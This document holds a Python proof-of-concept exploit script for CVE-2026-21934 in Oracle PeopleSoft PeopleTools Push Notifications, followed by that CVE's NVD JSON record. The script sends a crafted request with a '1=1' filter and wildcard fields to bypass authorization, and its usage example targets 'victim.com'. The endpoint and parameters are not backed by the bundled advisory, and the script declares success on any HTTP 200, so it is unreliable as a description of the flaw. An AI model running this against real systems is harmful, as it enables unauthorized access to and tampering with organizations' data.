CVE-2026-21934

# CVE-2026-21934 PoC - Oracle PeopleSoft Push Notifications Exploitation # This PoC demonstrates the unauthorized access vulnerability in PeopleSoft PeopleTools import requests import json import sys TARGET_URL = "https://vulnerable-peoplesoft-host/psp/ps/" CVE_ID = "CVE-2026-21934" def exploit_push_notification(target, session_cookie): """ Exploit for CVE-2026-21934: Push Notifications unauthorized access """ headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Cookie': f'PSJSESSIONID={session_cookie}', 'Content-Type': 'application/x-www-form-urlencoded' } # Step 1: Identify Push Notification endpoint notification_endpoint = f"{target}PT_PUSH_NOTIFICATION_SRV" # Step 2: Craft malicious request to bypass authorization exploit_payload = { 'Operation': 'READ', 'Resource': 'PSMESSAGE_BUILDER', 'Filter': '1=1', # SQL-like filter injection 'Fields': '*' # Request all fields including sensitive data } try: print(f"[*] Target: {target}") print(f"[*] Exploiting {CVE_ID}...") # Send exploit request response = requests.post( notification_endpoint, data=exploit_payload, headers=headers, verify=False, timeout=30 ) if response.status_code == 200: print("[+] Exploitation successful - Unauthorized data access achieved") print(f"[*] Response length: {len(response.content)} bytes") return True else: print(f"[-] Exploitation failed - Status: {response.status_code}") return False except requests.RequestException as e: print(f"[-] Request error: {str(e)}") return False def main(): if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <session_cookie>") print(f"Example: python {sys.argv[0]} https://victim.com/ps/ abc123session") sys.exit(1) target = sys.argv[1] session = sys.argv[2] exploit_push_notification(target, session) if __name__ == "__main__": main()

{"cve": {"id": "CVE-2026-21934", "sourceIdentifier": "[email protected]", "published": "2026-01-20T22:15:56.033", "lastModified": "2026-01-29T21:11:43.027", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Push Notifications). Supported versions that are affected are 8.60, 8.61 and 8.62. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of PeopleSoft Enterprise PeopleTools accessible data as well as unauthorized read access to a subset of PeopleSoft Enterprise PeopleTools accessible data. CVSS 3.1 Base Score 5.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N)."}, {"lang": "es", "value": "Vulnerabilidad en el producto PeopleSoft Enterprise PeopleTools de Oracle PeopleSoft (componente: Notificaciones Push). Las versiones compatibles afectadas son 8.60, 8.61 y 8.62. Una vulnerabilidad fácilmente explotable permite a un atacante con pocos privilegios y acceso a la red vía HTTP comprometer PeopleSoft Enterprise PeopleTools. Los ataques exitosos de esta vulnerabilidad pueden resultar en acceso no autorizado de actualización, inserción o eliminación a algunos de los datos accesibles de PeopleSoft Enterprise PeopleTools, así como acceso de lectura no autorizado a un subconjunto de los datos accesibles de PeopleSoft Enterprise PeopleTools. Puntuación Base CVSS 3.1 de 5.4 (impactos en la Confidencialidad y la Integridad). Vector CVSS: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:peoplesoft_enterprise_peopletools:8.60:*:*:*:*:*:*:*", "matchCriteriaId": "AF191D4F-3D54-4525-AAF5-B70D3FD2F818"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:peoplesoft_enterprise_peopletools:8.61:*:*:*:*:*:*:*", "matchCriteriaId": "18F15FC6-947A-462A-8329-C52907799A7C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:peoplesoft_enterprise_peopletools:8.62:*:*:*:*:*:*:*", "matchCriteriaId": "FF0E4EFC-096B-4861-8D55-D8DAA37A21E9"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpujan2026.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}